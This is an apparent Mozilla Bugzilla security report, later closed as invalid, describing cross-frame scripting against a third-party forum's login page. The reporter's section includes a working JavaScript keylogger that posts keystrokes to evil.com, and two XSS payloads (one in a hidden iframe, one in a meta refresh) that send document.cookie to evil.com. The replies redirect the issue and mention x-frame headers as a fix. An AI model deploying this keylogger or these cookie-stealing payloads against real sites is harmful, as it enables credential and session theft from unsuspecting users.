Closed
Bug 1443018
Opened 7 years ago
Closed 7 years ago
Cross Frame Scripting
Categories
(Firefox :: Untriaged, defect)
Tracking
()
RESOLVED
INVALID
People
(Reporter: shrey.shah002, Unassigned)
Details
Attachments
(1 file)
|
5.16 MB,
application/x-rar
|
Details |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Build ID: 20180206200532
Steps to reproduce:
Steps To Reproduce :
1. Go to http://forums.mozillazine.org/ucp.php?mode=login
2. Copy the URL and open it in the keylogger.html.
3. That file will send all the keystrokes of the victim to the attacker
4. Attaker will be able to steal the user credentials (username & password)
NOTE : Code for this attact is given below ,
Keylogger CODE :
<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = new Array();
// event listener which captures user keystrokes
document.onkeydown = function() {
keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
if (keystrokes.length) {
var xhr = newXHR();
xhr.open("POST", "http://evil.com/k");
xhr.send(keystrokes.join("+"));
}
keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
if (window.XMLHttpRequest)
return new XMLHttpRequest();
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://forums.mozillazine.org/ucp.php?mode=login">
</frameset>
Actual results:
Cross-Frame Scripting (XFS) is an attack that combines malicious JavaScript
with an iframe that loads a legitimate page in an effort to steal data from an
unsuspecting user.
Expected results:
Cross Frame Scripting :
To exploit the bug which leaks keyboard events across
framesets, an attacker may create a web page at evil.com, which the attacker
controls, and include on the evil.com page a visible frame displaying the login
page for example.com. The attacker can hide the frame's borders and expand
the frame to cover the entire page, so that it looks to the browser user like he
or she is actually visiting example.com The attacker registers some javascript
in the main evil.com page which listens for all key events on the page.
Normally, this listener would be notified of events only from the main
evil.com page -- but because of the browser bug, this listener is notified
also of events from the framed example.com page. So every key press the
browser user makes in the example.com frame, while trying to log into
example.com, can be captured by the attacker, and reported back to evil.com
XSS Attack Using Frames :
To exploit a Cross Site Scripting Flaw on a third-party web page at example.com, the attacker could create a web page at evil.com, which the attacker controls, and include a hidden iframe in the evil.com page. The iframe loads the flawed example.com page, and injects some script into it through the XSS flaw. In this example, the example.com page prints the value of the "q" query parameter from the page's URL in the page's content without escaping the value. This allows the attacker to inject some javascript into the example.com page which steals the browser-user's example.com cookie, and sends the cookie via a fake-image request to evil.com
Code :
<iframe style="position:absolute;top:-9999px" src="http://example.com/↵
flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
?c='+encodeURIComponent(document.cookie)+'\">')</script>"></iframe>
The iframe is hidden off-screen, so the browser user won't have any idea that he or she just "visited" the example.com page. However, this attack is effectively the same as a conventional XSS attack, since the attacker could have simply redirected the user directly to the example.com page, using a variety of methods, including a meta element like this ,
Code :
<meta http-eqiv="refresh" content="1;url=http://example.com/↵
flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
?c='+encodeURIComponent(document.cookie)+'\">')</script>">
The only difference is that when using an iframe, the attacker can hide the frame off-screen -- so the browser user won't have any idea that he or she just "visited" example.com. When using a redirect to navigate directly to example.com, the browser will display the example.com url in the browser's address bar, and the example.com page in the browser's window, so the browser user will be aware that he or she is visiting example.com.
|
||
Comment 2•7 years ago
|
||
Why is this a bug in Firefox? Or are you trying to report an issue with mozillazine.org ?
Flags: needinfo?(shrey.shah002)
Yes, I'm trying to report an issue with Mozillazine. Org
Flags: needinfo?(shrey.shah002)
|
|
||
Comment 4•7 years ago
|
||
(In reply to Shrey from comment #3)
> Yes, I'm trying to report an issue with Mozillazine. Org
Mozillazine is not run by Mozilla. As the forum says:
"mozillaZine is an independent Mozilla community and advocacy site. We're not affiliated or endorsed by the Mozilla Corporation ..."
and the about page:
http://www.mozillazine.org/about/
"MozillaZine is not run by the Mozilla Foundation and is not an official part of the Mozilla project."
So this is not the right place to report this type of issue. I would have suggested contacting the forum admins but it seems impossible to find contact info on the public forum pages. We'll try to contact people at the OSU who host this stuff so they can add x-frame-* headers which would avoid this issue.
Status: UNCONFIRMED → RESOLVED
Closed: 7 years ago
Resolution: --- → INVALID
|
||
Updated•5 years ago
|
Group: firefox-core-security
You need to log in
before you can comment on or make changes to this bug.
Description
•